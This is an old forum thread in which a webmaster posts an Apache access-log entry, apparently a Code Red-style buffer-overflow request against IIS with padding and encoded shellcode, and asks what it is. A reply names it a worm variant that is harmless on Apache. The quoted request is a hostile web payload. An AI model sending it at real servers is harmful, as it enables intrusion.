Weird entries in Apache access log probably IIS exploits

[SDMguru]

I've always seen the nimda hack attempts in my access log, and I know what they look like by now. But in the last couple of days I've seen a new pattern and I was wondering if anybody could tell me what is doing it? The IP's are not related and I get several an hour.


Here is what it looks like

12.212.95.49 - - [13/Mar/2003:23:26:39 -0600] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 841

I also want to know if there are any utilities that can scrub all the stupid nimda hack attempts from the access log? I get thousands of these a month and it's annoying.

 

[sleipnir214]

Probably that new CodeRed variant that's running around right now.

On Apache it's just a nuisance. Want the best answers? Ask the best questions:

http://www.catb.org/~esr/faqs/smart-questions.html

TANSTAAFL!